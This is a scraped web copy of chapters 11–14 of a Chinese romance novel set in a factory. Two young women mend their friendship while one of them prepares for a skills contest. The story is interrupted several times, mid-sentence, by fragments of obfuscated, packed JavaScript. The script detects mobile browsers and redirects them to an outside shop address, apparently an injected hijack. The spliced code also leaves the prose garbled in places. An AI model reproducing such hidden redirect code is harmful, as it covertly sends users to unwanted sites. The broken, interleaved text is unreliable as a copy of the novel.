0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705311|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间隙,静静地想,她怎么那么可爱呢? 白露去念大专的时候,她就常常在这样的一些间隙想她。人活着总得有点盼头,妹妹考上大学当然是盼头,但很多时候,她需要一些更自私自利的盼头。 比如想象白露的生活,想象她说话的语调,笑起来弯弯的眼睛,不笑的时候拒人于千里之外的神情。政策出了之后,她更是胆大包天,什么都敢想了,甚至敢想自己和白露…… 水从铁壶嘴里冒了出来,池竹飞快地抹去脑子里那些不合时宜的念头,现在能和白露继续做朋友就最好了,真不必再多不切实际的幻想了。 她把铁壶撂到地上,这是她每天都会备下的一壶水,预防停水的。她拎起工具包,让橙子在自行车边等她,自己则是飞快地跑到了郑白露家门口,很礼貌地敲了敲敞开的门板。 郑小芳招呼了一声,本打算自己出来,可白露做贼心虚,她知道池竹是来干什么的,要是叫妈妈看到了,肯定又小题大做的误会了。当即从桌子前拿着饭盒转出来:“妈你别过来了,我把饭给池竹。” 她把饭盒递过去,这会儿又把刚才水龙头边池竹对她的打趣记起来,故意板着脸。 池竹一手接过热乎乎的饭盒,一手把信从工具包里小心翼翼地取出来,郑重地递过去。 郑白露下意识也很小心地把信放到自己的包里,这次理直气壮地说:“行啦,快走吧。” 莫名其妙地,她加了一句:“橙子在那儿一直等着你呢。” 这话说的,好像池橙等得多么焦急一样,其实正和火烧一人一猫喵来喵去,不知道在讲什么私房话,被池竹拎上自行车的时候一人一猫还在那儿一阵话别。 池竹出发得早,不过去子弟小学一趟耽搁了一点时间,进厂的时候,刚好到上班的高峰期,办公楼前的广场上聚集了一群工人,吵吵嚷嚷的,和她比较熟悉的蒋其华也在其中。 她走近了几步,蒋其华眼尖,看见她就一把把她拉到了身边:“你听。” 蒋其华把她拉近了一大步,她这才看清,被围在最里面的中心人物是技术科的主任刘连山和厂委会的工人代表,八级工田元祥。 刘连山拼了命地和稀泥:“啊,大家的意见我都收到了,我都收到了,大早上的大家工作去,工作去,这事由我传达给厂长,很快就给大家一个答复啊。” 田元祥道:“大家的意思我都明白,不是想为难刘主任,更不是想为难任何人。” 池竹的面色微微地沉了下来,这话一半是说给所有人听,一半是专说给她听的。 “这次去三溪交流学习的机会那么好,咱们厂子一直是手动机床,这次能把自动的技术带回来,将来能做数控工,谁不想去?别说年轻人了,我们这些老家伙也很愿意挪挪窝,动一动!这事,厂长不能一言堂,她不能想让谁去,就让谁去,得考虑我们大家伙的意见,赞同的,把手举起来!” 11. 同事而已11 “这是冲着你来的啊……”蒋其华咋舌。 工人堆里一阵骚动,有一个人领头举手,其余的人纷纷地把手举了起来,一时之间望过去,简直举成了一片小小的汪洋。 刘主任平日里打官腔和稀泥是一流的,碰上这种场面是手足无措的,一时之间汗流浃背,不知道用什么话来收场好了。 池竹纵使有许多顾虑,比如担心橙子一个人在家的踌躇,比如不想多欠厂长人情的犹豫,可这个机会,她是非常想要的。 这会儿发生这样的事情,她心里不仅不恼,反而想,这样也好,因为她不能总这样心安理得地享受厂长对她的优待,即便自己实力过硬也不行。身正不怕影子斜,她如果能堂堂正正地拿到,这样不仅不连累厂长,自己也能接受得更理直气壮。 她心念电转,旁边忽然一动,一股略带苦味的香气扑过来,她一怔,原来是郑白露挤到了她身边,满脸怒容:“田师傅这可不地道!谁不知道他和张厂长走得近,发工资那天张海成就阴阳怪气的,现在看来,专盯着这件事要向你发难呢!” 郑白露越说越气:“这样算什么,把大伙的情绪调动起来,把你当成讨伐对象了,你的难处大家有目共睹……” 话还没说完,她又要往前挤,那么俊俏漂亮的姑娘,一副气势汹汹要撸袖子上去跟人干架的架势。 池竹捉住她的手腕,向她轻轻地摇了摇头。 郑白露知道自己这时候出去不合适,可这时候,别说池竹的师傅没在,就算是在,这时候出去就合适的了吗? 池竹向来是个温柔端方的性子,凡事得饶人处且饶人,可这事凭什么让,这事不能让!都到眼前了,难道任凭人家算计? 池竹望着她,再次向她摇了摇头,白露念大专那三年,她实打实在厂里干了三年,虽然白露总觉得她在人情世故方面尚有很有需要磨炼的地方,可她也不再是学校里那个天真柔软的学生了。 “我也赞同。” 一道声音响起,大家都把目光投过去,顿时一片沉默。 池竹安抚性地握了握郑白露的手腕,旋即松开了,她一动,众人就分海似的给她让出一道畅通无阻的通道来,让她一路走到了刘连山和田元祥的面前。 “池竹……”刘连山压低声音,现在的情况已经够乱了,年轻人不论什么性格,总有几分气性,他生怕兔子急了咬人,池竹要是把现场搅得更乱了可怎么办? 池竹瞧了他一眼,又看了田元祥一眼,她十分沉着,语气平静地开口道:“田师傅说的话,我非常赞同,这个机会难得,厂长说给我,难免让大家觉得不公平,毕竟目前我对厂子也没有什么突出的贡献,即使之前是比武状元,这次也不一定是。旁的不说,田师傅一人能开六台铣床,车间效率翻倍,在厂子二十年,为咱们机械厂带出了几十位中级工人才。” 明明是称赞,田元祥听了,脸色铁青。 在场的大家也全都不说话了,明里暗里什么意思,一些年轻人听不出来,他们这些老人能听不出来吗? 还这次不一定是,上次的厂比武第一,市比武状元,哪怕是拿这个名额,旁人也没得话讲,人家客客气气的讲这一句这次不一定是了,讽刺的是谁,各人心里清楚。 田元祥是厂里有名的八级工,池竹的妈妈爸爸就不是吗?两个人全都是八级铣工,两个人全能开六台铣床,同样是二十年带出了几十个中级工徒弟,没有进口件的时候,是她俩把精度提到了二级,让国产件也能媲美进口件! 她俩之所以出车祸,就是因为国家重点专项招募高级铣工做关键零件,为厂子争省优、部优去的! 这才死了不到四年,就全忘了,是这个意思吗? “这小池竹,”有人低声说,说不清是褒是贬,“真是和以前不一样了。” 郑白露惊愕地望着圈里那个人,并没有多高,更没有多壮,她以前就觉得那个人是天底下最靠谱的人,可惜是那种内敛的靠谱,最美中不足的就是,太内敛了,受欺负了也不哭,上学的时候,她就总担心别人欺负池竹。 可现在她一看,猛然意识到一个事实,她去大专的那三年,池竹的时间不是静止的,她还总说池竹不通人情世故,原来池竹不是不通,她只是对关怀她的人,每一分都不愿亏欠,对对她怀有恶意的人,她也不会叫他们得逞! 她还一直觉得,池竹不爱说话,只对她话才多一点,现在看来,再沉默的人,在被逼着说话的时候,也不会寡言! 她不能细想,一细想就要心痛,池竹不是原来那个池竹了,为什么不是了?一定是这个厂子让她不能是了! 侯春霞焦急地挤过来,这次换郑白露对她轻轻地摇了摇头。 “我认为这个机会,一定要公平公正,大家人人都有参与的机会,所以我提议,咱们厂子举办一次比武大会,选拔出一个人选来!大家赞同的,请举起手。” 郑白露第一个把手举了起来,大家也不管举起手来的这个人是不是工人,只要有一个人带头举手,大家就一窝蜂地把手给举起来了。 池竹向刘连山和田元祥点了点头,穿过人群走了出来,刘连山叫道:“行了,大家伙散了吧,啊,散了吧!” 侯春霞来得晚,但把池竹的话听得清楚,当即就明白前因后果了。她动了动嘴唇,想和徒弟说什么,到底是没有说。说了也没有用,她别管刚才在不在,站出来都不合适,根本护不住池竹,一时之间,又是内疚又是失落。 池竹看了师傅一眼,一双眼睛亮晶晶的,什么都不必说,侯春霞就知道,她体谅自己。 郑白露故意走得很慢,她有千言万语想对池竹说,只是一句话也不知道该如何讲出来。 两人走到财务科办公室门口,都停下了脚步,郑白露难得露出一副沉默又迟疑的神情,池竹心尖一刺,低声道:“我也觉得我和以前不一样了。” 她用的不是疑问句,而是肯定句。 没想到听到这话,郑白露反而蹙起眉头,对她说:“没哪不一样,你就是池竹!” 没哪不一样,在我眼里,你就是池竹! 中午饭还没吃,池竹就被储春荣叫进了办公室。 储春荣从桌上的文件堆里抬起头看她:“今天的事你没必要站出来,让我解决就好了。” “那就为难你了。”池竹说,“田师傅说得没什么不对的,大家心里也都这么想,如果你要保住我的名额,替我解决,那不光是我会遭非议,工人代表心里也会打鼓,觉得你是一言堂。” 储春荣叹了口气:“你还是个孩子呢,怎么用替我考虑那么多?” “我也是替自己考虑。”池竹道,“上次你可和我说,池橙十一岁就不是孩子了,我都要二十一了,怎么还是孩子呢?” 储春荣笑了:“你这孩子。”她正了正脸色,“你的提议很好,大家也都听见了,今天下班之前,我就会叫人把告示贴出去,下周的今天,举办比武大会,想参加的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705312|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人尽快报名,这个名额各凭本事。” 她冲池竹点了点头:“我等你的好消息了。” 池竹该谦虚的时候谦虚,不该谦虚的时候也不会假谦虚,认真地答应了下来,准备去食堂吃饭。 她来得晚,食堂里的人稀稀落落的,大多都在聊天。她一眼就看到了白露,坐在离门不远的一张桌子上,桌上放了一个饭盒,她手里头捂着另一个。 说实话,那个比武大会甚至不如一个郑白露帮她捂着饭盒的细节更让她心跳如雷。 技术的比武大会和上学时的考试一样,她平日里毫不懈怠,成绩自然是可想而知的。可白露不一样,关于白露的一切都是变数,都是她猜不到也想不透的。 “来得这么晚,”郑白露装作若无其事地把饭盒推到对面,“肯定是厂长叫你过去了吧。” 池竹一手打开盒盖,一手不自觉地捂住了饭盒,从热乎乎的盒壁上,她似乎总能感受到白露掌心的温度。 她嗯了一声:“厂长说同意比武大会了,下午就会把告示贴出来,谁都可以报名。” 她忍不住笑,想到早晨的时候,她说完,第一个就举起手的白露,她这人其实比较少言,只有在白露面前才难得活泼:“你要不要报名呀?” “少来了。”郑白露乌溜溜的杏眼直瞪她,“本来就是你的机会——” “哪有什么本来不本来的。”池竹看她一眼,垂下眼睛去看饭盒里码得整整齐齐的地三鲜,没一秒,她又情不自禁地抬起了眼睛。 不为其他的,她总感觉郑白露发怒的样子特别像火烧,眼睛都瞪得圆溜溜的。 “没有什么本来不本来的。”她又重复了一遍,“其实算得上是特殊优待,如果非要的话,不仅我将来在厂子里不好过,还会连累厂长,不如用比武的方式,大家公平竞争。” 池竹莫名地又有点惆怅,她这样真能和白露做回好朋友吗?她一点都不想和白露做朋友,她只想爱白露。 但是开弓没有回头箭,她怎么舍得让一心要和她做回朋友的白露伤心呢? 郑白露不知道她心里弯弯绕绕地在想其他的,急道:“你怎么知道是公平竞争?厂优工人比武大赛前三是优先项,也只是优先项而已,完全没有这次重要,这次就要第一名,你怎么知道不会有人动手脚?” 她看池竹表情就知道这人并不在意:“万一实作题泄出去了怎么办,你当场做,人家可有的是歪门邪道,这你有信心比得过吗?知道你技术高,可有些人心术不正,咱们也得提前提防着!” 她显然是着急了,小声说:“你进厂比我早得多,你知不知道,张海成有前科的!” 池竹一张秀气的脸上显出有点为难的神情,郑白露知道她不擅长这种:“你已经够厉害的啦!今天那番话,要是我站大家面前都未必说得这么好,我认识的人多,到时候我让人盯着张海成,你放心吧!” 池竹想说谢谢,想说麻烦,又知道郑白露不许她说,一颗心索性跳的她什么话也讲不出了。郑白露就嘀嘀咕咕地抱怨她:“谁将来要嫁给你一定会吃苦。” 不等池竹反应,郑白露继续说:“因为你这个人有点太正了,正的人很辛苦,你的媳妇也会吃苦的。” 池竹笑了,露出那枚小虎牙和不大标准的梨涡:“都是女孩子,哪有什么嫁不嫁的。而且大部分人也想很正地活着呀。” 她有句话没说出口:白露,你就是个很善良,很正的活着的姑娘呀。 12. 同事而已12 郑白露没法反驳,谁不想很正地活着?她也愿意很正地活着呢! 她没话说了,决定不和这棵瘦竹子浪费时间了:“你快吃吧,都凉了,我要回办公室了。” “白露。”池竹叫住她,不用开口,郑白露就知道她想说什么:“提前声明,我请的人可不是什么不三不四的人,那也是我正儿八经的朋友,改天可以介绍给你认识。” 池竹偶尔也很想坏心眼一把:“可以吗?可是目前我们……” “打住!”郑白露颊边泛起一层红晕,她怎么以前和池竹做朋友的时候没发现,这人开起玩笑来这么讨厌! “所以说改天!你且等着吧,我跟你说,你今天的信写得我不满意,我多给你两天时间,你再给我的信,必须多加一倍的字!” 她说完,意犹未尽,装出一副很矜持的样子:“对了,往后一周给我两封信就成了,要不就太快了。” 太快?白露那天在小卖部是知道她买了多少个信封的,是早打算好了,等信封用完的时候,就和她重归于好吧? 池竹一念及此,唇边情不自禁地晕开一点笑意。 郑白露一看到那枚小虎牙和梨涡就觉得这人像是在卖可爱,但其实池竹从不撒娇,也从不向人卖可爱的,在她印象里,池竹永远像一个小大人一样,做事做人都是一本正经,也就和她还会打打趣,讲讲玩笑话。 不过,还是挺可爱的……吧? 郑白露抬脚要走,转念又想起一件事:“那要准备比武大会,你这一周是不是得紧着练习了?” “不用。”池竹说,“临时抱佛脚的用处不是很大,我每天还要工作,一直开着铣床呢,用不着特意练。” “就你最厉害呀?”郑白露明明是批评她呢,语气却不自觉地带上了一点亲昵,“我可听说张厂长给张海成安排的那张铣床随时能开,而且人家是厂长儿子,工作任务没那么重,专磨炼技术,你得小心这样的关系户!” 池竹那双漂亮眼睛就那么浓墨重彩地看着她,她微微移开目光:“往后饭盒早上我帮你带过来放到锅炉房,省得你还要跑一趟了。” “作为回报,毕竟咱们俩只是同事而已,得有来有往的才行。”她强调,把自己的饭盒放到桌上,推到池竹面前,“你帮我把我的饭盒放到冰箱里,下班的时候再带给我就成了。” 池竹自然是一口答应。她目送着郑白露出了食堂,直到背影一点也看不见了,这才有点恋恋不舍地低下头,继续吃自己的午饭。 比起担心别人实作题作弊,不如说她更担心的是郑白露要如何请朋友盯着别人。 今早排开众人走上去,是她不能任人欺凌,要妥帖地解决问题。可阻止其他人作弊,这问题就超出了自己的能力范畴,如果不是白露在的话,她不会太纠结这件事,给自己自寻烦恼。 如果不是白露在的话。 她知道,其实白露心很软,虽然性格娇气,那件事之后,小小的生了一会儿气,但心里头早就不生气了,早就愿意和她继续做朋友了,现在要她写的信,不是和好的条件,大约只是愿意看她在上面写一些肺腑之言,也趁机了解她的生活。 她早就知道白露是这样的女孩的,可再早知道,要是重来一遍,她还会像天塌一样伤心彷徨。她最不喜欢的就是意外,更不能容忍和白露之间出现意外。 然而这桩意外。是好是坏呢?到了现在,她有点分辨不清了。 和白露的对话就像一道天光一样,把她总是沉郁的心情劈得透亮。 她拿起郑白露的饭盒,刚拿起来,就发现很轻。她打开盖子,发现白露今天吃得很干净,菜和饭都没有剩下。 白露让她放冰箱里,肯定是怕她麻烦。池竹怕意外,可最不怕的就是麻烦。她把两个人的饭盒都洗干净,拿手帕擦干外面的水珠,这才规规整整地装到了袋子里。 傍晚下班之前,告示果然贴了出来。大家乌泱乌泱地围成一堆看,蒋其华和郑白露都在人堆里头,见她过来,郑白露一伸手拉住她的胳膊,把她拉了进来。 蒋其华是不打算参加这个比武大会的,她对自己有自知之明,知道去了也拿不到第一,白忙活一场。所以这会儿一见这场面,心思马上转到了另一件事上:“我还没问呢,你俩什么时候和好的?不说好的是同事吗?” 池竹开玩笑白露还能瞪,现下被其他人揶揄,她有点不好意思,又总不能瞪人家去,没想到池竹圆场说:“白露侠义心肠,换成其他人,她也会这么做的。” 蒋其华一脸的意味深长,倒是郑白露眉头微蹙,她可不觉得池竹说的侠义心肠说对人了。要是换个其他的张三李四来,她热闹都懒得看,扭头就走! 报名地点在刘连山办公室,池竹和两人打了一声招呼,这就要过去,郑白露下意识地要脱口而出,她等池竹一块回家。以前上学的时候,她们每天都一块回家。 太多根深蒂固的习惯了,即便过去了那么长的时间,还能让她在看到池竹的时候条件反射。 幸好她犹豫了一秒,没有说出口来。 没想到蒋其华眼睛往她俩身上一扫,一副乱点鸳鸯谱的架势:“师姐,白露姐等着你回家呢,可别直接走了!” 池竹怔怔地嗯了一声,郑白露同样是一怔,她一瞬间掠过许多念头,同事而已,她不想答应,但是要拒绝,又得立刻说出一个合情合理的理由,哪来得及讲出口,池竹就呆呆地先应了。 这下怎么办?郑白露感觉自己莫名其妙地掉进了一个坑里! 她真的不想等池竹,她们还没正式和好呢!池竹是最了解她的,她不得不承认,除了自己的妈妈和姐姐,池竹真是全天下最了解她的人了。池竹肯定也知道自己不会等她的。 可是……万一池竹犯傻呢?现在的池竹要硬要说哪里和以前不一样,那肯定是喜欢自己这点不一样!以前大概是朋友的喜欢,现在是那种喜欢! 爱情都会让人变傻的。这点可不光琼瑶写,张爱玲也写,她看过的爱情小说都是这么写的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705313|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑白露还是比较相信。 她慢吞吞地回了办公室,收拾好包,磨磨蹭蹭地准备下班。她没让之前走的何静敏关门,财务科办公室的门半敞着,能清楚地听到外头走廊的说话声和脚步声。 现下过了下班时间,外面的声音越来越少,郑白露实在无可收拾,还没站起身,就听到有一道匆匆的脚步过来,停到了门口。 隔着一道半掌宽的缝隙,两人四目相对。 “有点没做完的事。”郑白露若无其事地说,她拉开门,两人就这样自然地并肩,一块往前走,像是无数个下学的傍晚一样。 她们的性格真的是很不同的。郑白露忽然想。 池竹昨天和今天的信里都没写告白的事情,不过讲了关于“朋友”的事情。 她觉得池竹是刻意疏远她,池竹却觉得不仅是顺理成章,而且认为她们还是朋友。 她又不傻,池竹那么一写,她当即就明白了,可她就是很不愿意!凭什么?凭什么就要自然地疏远?凭什么好像发生的不好的事情,也能被当作老天的最好安排,她偏不愿意! 她不想做那种虚伪的大人,话也不聊一句的点头之交,怎么好意思称得上朋友! 要换作是她,别说政策出了,哪怕是没出,她也敢和池竹表白心意! 池竹终究不是她。 郑白露闷闷地想,况且池竹表白了又如何,她又不会同意,反而白白惹得人家伤心。 真是个无路可走的死胡同。 这次换她愁肠百结,池竹的想法倒是很单纯:真好,好像回到了少年时期。 她最无忧无虑的时光。 健康的妈妈、爸爸,活泼的妹妹,小小的火烧,还有一个心高气傲的,脾气总是有点大的,杏眼圆溜溜的郑白露。 小学时候的郑白露脸特小,衬得那双眼睛又圆又大,发起脾气像撒娇,俩人总是手牵着手一块回家,也不知道聊什么,总之一路笑,高兴得不得了。 初中的时候郑白露就长开了,比起可爱,更多的是漂亮。那时候自己也没什么烦恼,情窦未开,手牵手也理直气壮。白露和她讲轰轰烈烈的爱情小说,她和白露讲今晚作业怎么写,各司其职,都十分满意。 高中的时候也很好,到年纪了不那么兴牵手,大家就挽着胳膊。多好,她知道喜欢白露了,就不用遭牵手的酷刑了。 好幸运。 “池竹,”郑白露打断她的思绪,“我去找我朋友了。” 池竹用脚支住地,看了看郑白露预备要拐的方向。鸣城不算什么大城市,她大致知道那边都有什么,不过实在是没法推测出白露要去什么地方。 郑白露抿了一点唇,像是笑了:“这么想知道我去哪呀?” 池竹望着她,黑眼仁亮晶晶的,像是不好意思回答,又像是全回答了。 郑白露把车子拐了个方向,背对着她挥了挥手,柔美的声音顺着一股熏然的热风送进了池竹的耳朵里: “我才不告诉你呢!” 13. 同事而已13 池竹没想到,郑白露说不告诉她,还真是不告诉她。她把那封字数多了一倍的信递过去,郑白露眼睛狡黠地眨了眨,还没来得及说话,看自家妈妈要从厨房里出来,赶紧拿过信塞包里了。 郑小芳端着饭盒出来了:“小池竹来,这份饭是你的。” “谢谢大妈。”池竹抿出个腼腆的微笑,看了郑白露一眼,伸手要把饭盒拿过来。郑白露可还记得她俩之间的约定,比她动作更快,一下把饭盒拉到自己面前:“妈,往后我都是我帮池竹拿过去。” 不是比武大会这一周吗?池竹倒是一怔,这个约定的有效期这么长? 不过她自然不会反驳,向郑大妈和白露打了招呼,就先回自己家了,池橙的早饭还没吃完呢。 郑小芳刚才的时候不言不语,等池竹一走,马上是喜上眉梢:“咋回事呢?最开始还同事而已,害得你妈我白担心一场,本来以为和好了就不错,这饭都给人又心甘情愿带上了,这是咋回事呢?” “妈你省省吧。”郑白露瞟了她妈一眼,“闹点别扭不成?我俩本来就是朋友,她要准备厂里的比武大会,我自然得给她省省事,把饭盒带过去,这不是举手之劳?” 郑小芳懒得搭理她:“还举手之劳呢,一开始是谁说人家那么大个人了自己连饭盒都不会带?一脸的不情愿一脸的嫌麻烦……” “那是因为闹别扭呢!”郑白露不想承认,“行啦!郑小芳同志你就是个见风使舵的,一看政策出了,这个忙活劲这个乱点鸳鸯谱的劲!一心地要撮合我和池竹是吧!” 郑小芳这不赞同了:“你说的什么话,你妈我皇帝不急太监急是吧?还非得给你说道说道了,怎么叫乱点鸳鸯谱?你和池竹从小一块长大那叫青梅竹马,又从小就是好朋友,那叫有感情基础,这谁听了不觉得俩孩子合适啊?” “好啦!”郑白露不许她妈再说了,换成其他讨论对象,她纯粹是烦,可她妈在这儿讨论起她和池竹来,说得她心乱! “当然要是不合适你妈我从来也不勉强。”郑小芳提起这个话头,顺口道,“你现在老大不小的了,是该考虑考虑这事了,现在和以前不一样,男女不要紧,选择面多广,正好前两天……” 郑白露一下更不爱听了,这个开场白绝对是要给自己安排相亲了:“不正好,我这几天有急事要办,没空跟人相亲。” “你有什么急事啊?”郑小芳追问道,自家这个闺女根本不回答,拎起包,一溜烟地跑出去了! 火烧正在和池橙依依惜别,见郑白露端着个装着饭的小盘子过来,立马很没出息地蹭到白露的腿上了。 “白露姐!”池橙很清脆地叫了一声,小姑娘长得和她姐姐一样秀气,郑白露冲她笑了笑,目光移动,自然看到了那个同样秀气的姐姐。 池竹也正冲她笑,小虎牙和不标准的梨涡全露出来,是个很灿烂的笑容。 再秀气,一笑起来也傻得很。 郑白露心想,端着小盘子放到角落,火烧狼吞虎咽,她揉揉小猫脑袋,实在忍不住,偷偷打开了池竹的信。 真的是傻得很。让多写一倍的字,真多写一倍的字。以往都是一张信纸,今天是两张,密密麻麻的,全是清隽的小字。 池竹写字小,仔细一看,规整秀丽得像字帖,乍一看呢,像一片让人头晕目眩的乌云。 郑白露以前抄池竹作业的时候,那真是抄得天旋地转,这会儿她看琼瑶小说都没那么用心,细细地看了两行之后不舍得了,又重新放回包里,打算安安稳稳坐到办公室的时候,再找一个何静敏不在的时机,好好地看上一遍。 她刚放好,就听见自己妈喊了一声:“白露?还没走呢?正好回来,我话还没说完呢!” “我走啦!”郑白露当机立断,推上车子,火烧也不管了,郑小芳转眼连她的背影都瞧不见了。 “这孩子。”郑小芳不明所以,“有什么急事呢?” 即使出了那件事,池竹这几天在厂子里也依旧如常,大家也仍然和她挺亲近,严格来说,郑白露的人缘其实远没她好。 池竹刚到厂那年,确实短暂地沉浸在了这种幻境中,后来她渐渐地明白,这就是所谓大人的生活,和在学校里完全不一样。 大家不论闹了什么矛盾,心里面对各自有什么成见,第二天太阳一升起,所有人若无其事,全都是一副什么都没发生的样子。 这事过去了吗?不一定,很有可能,随时等着翻旧账翻出来,但在现在,它就是过去了,不管你心里过没过去,脸上都必须过得去。 人缘好是好是不好呢?许多人和她亲近,是方便把任务推给她,方便工作的时候叫她帮忙,认为她性子软,好拿捏,还是真的觉得她人不错,对她家发生的事情十分惋惜,心疼她,想和她打好关系呢? 这都说不清的。 正如她和郑白露所说的,有些事情,是不方便挑明的。她现在已经不会轻易被外界的事物影响心神,她行得端坐得正,上班的时候专心完成任务,休息的间隙,就想一点自己的事情。 说是自己的事情,她想来想去,总免不了想到白露身上。 不知道今天的信,白露看过了吗?她本来打算好好规划一下这些信的内容,可是到提笔的时候就全忘了。想对白露说的话太多,未经思考就全写到了纸上。 白露还说要请朋友去盯着张海成,那是什么样的朋友?白露什么时候交的朋友?张海成的爸爸是副厂长,又擅长交际,在鸣城很有几分权势,万一哪里弄得不好,连累了那位朋友怎么办? 她思来想去,下班的时候还是不由自主地站到了财务科办公室的门前,恰好何静敏推门出来,见到她就笑了:“原来是池竹呀。” “池竹?”郑白露在里头叫了一声,何静敏又笑:“来找人的呀?” 郑白露这下可坐不住了,快步过来:“何姐!” 何静敏只是逗逗郑白露,没打算让俩小姑娘真不好意思,她温柔地朝池竹抿嘴一笑,顺带帮她们两个人把门给带上了。 池竹颊边的小梨涡若隐若现,她其实不是因为何静敏的打趣而害臊的,她真正害臊的是,她又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705314|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点自私地为这种打趣而高兴了。 不过这种高兴远远抵不过对白露的担心,池竹道:“我在想你请朋友帮忙那件事。” “你肯定又想东想西了。”郑白露最了解她的性格,池竹就是那种一件事得有万全把握才做的类型,其实哪有那么难?做事就像出门,先迈哪只脚还用想?迈就完事了! “只是让朋友帮忙盯着一点,又不是要对张海成干什么,而且我朋友很谨慎的,更何况就是能盯的地方也就是公共场合,就算被发现了,也只是个恰好和他一起来这儿的陌生人而已。” 池竹找不出理由反驳,但那是白露的朋友,一旦和白露扯上关系的人或物,她都特别关心或者担心。 郑白露想了想:“这样吧,你周五的时候把下一封信给我,到时候回去换趟衣服,六点钟,我带你去见我那位朋友,正好在外面吃晚饭。” 池竹一颗心立马雀跃起来:“周五晚上,那我需要做什么准备吗?” “准备?”郑白露略有些惊讶,一刹那之间就想明白了,“哦,原来你那么重视,打算盛装出席呀?” 池竹抿了抿双唇,冠冕堂皇地答道:“毕竟是第一次见到你朋友,总要正式一点,不能穿工服去。” “这是,穿工服就不准你去了。”郑白露说,她隐隐有点期待,自从回来,她基本上看到池竹的时候,这人全穿着工服。 夏天只穿一条工装裤,冬天穿着整套,周末也不大例外。工服已经够俊俏的了,换上其他衣服不知道什么样子呢。 “那你得好好打扮一下。”郑白露说,她倒不认为去见她朋友是件多隆重的事情,她纯粹是想看池竹不穿工装,穿上其他的衣服是什么样子。 “用不用带点礼物?”池竹又问。 这下郑白露真笑了:“又不是拜访长辈,带什么礼物!回去换一趟衣服的话,我们六点半在院子里见吧。” 她随手在桌上的纸袋里拿出一颗黄油球糖递给池竹:“我这可是提前带你去见我的朋友,作为交换……”她狡黠地眨了眨眼,“我得对你周五给我那封信提出一点要求。” 郑白露从小就爱吃糖,爱吃甜的东西,那时候郑大妈管得严,白露要么偷偷从姐姐谷雨那里拿来吃,要么就眼巴巴地看着她手里的硬糖,等着她送给自己吃。 她每周最多送给白露一颗,其余时间白露怎么撒娇也不给。吃糖多了会蛀牙的,她不想白露蛀牙。 这么久了,她还是爱吃糖。这件事情让池竹没来由的心里一松。充满意外的世界,起码有些事情是确凿无疑,不会改变的。 池竹看着糖球把郑白露的脸颊顶出一个小小的轮廓,笑道:“什么要求?” 郑白露这会儿反倒犹豫了,口里的糖球滚了滚,侧过身子,一副去拿自己包的样子,情不自禁地压低了声音:“要写你怎么喜欢我的。” 池竹疑心自己听错了:“什么?” “我说,”郑白露彻底把身子背了过去,“要写你怎么喜欢我的!” 她欲盖弥彰:“我想知道不行啊!” 14. 同事而已14 郑白露是真想知道! 池竹怎么喜欢自己的,原因,时间,心路历程,一点都不想错过! 不为别的,她纯好奇! 池竹呆了一下,她直到这会儿才真百分之一百的确定,白露是真不排斥这件事,不排斥她作为一个女孩喜欢自己这件事。 她当初那么难受,就是怕这件事让白露徒增烦恼,还惹得白露讨厌她,现在信还没写完,这件事就迎刃而解,给了她最好的答案——白露百分之一百不讨厌自己喜欢她! 拨云见日,她的心情豁然开朗,难得的孩子心性也冒出来,胆子很大地说:“必须要完成这个要求呀?” 一听这话,郑白露立刻把身子转了过来,脸上还泛着一层很浅的红晕,那双漂亮的眼睛就瞪起来了,一瞪眼睛,那双杏眼更是圆溜溜的,完全就和火烧一个样子! “什么意思,不想写?明明你要把事情都和我解释清楚的!”她说完,有点心虚,池竹其实已经把“朋友”这事解释清楚了,仔细想来,确实是她俩观念不同造成的误会,至于告白……她本来生气的,其实就不是告白这件事。 但是她偏要借题发挥:“这事没完呢,池竹,你想糊弄过去?” “不糊弄。”池竹一本正经地说,“就是我对自己的信有规划,周五的信还没到那个内容呢!” 她笑盈盈的,乌黑的眼仁亮晶晶,郑白露甚至觉得能从里头看到自己的倒影。 她伸出手,把一样东西放到郑白露的手心里:“先用这个做保证吧,你说的内容,我一定会写的。” 郑白露攥紧手掌,池竹挥挥手,从办公室出去了,等到池竹出去,她心脏怦怦直跳,这才打开手掌去看,这一看非同小可,她还以为是什么呢! 原来是一颗薄荷糖! 池竹什么时候爱吃糖的!池竹小时候都不吃糖,怎么长大了反倒吃起来了? 她嘴里含着黄油球糖,恨恨地想,这算什么保证呀!她不小心吃掉了怎么办? 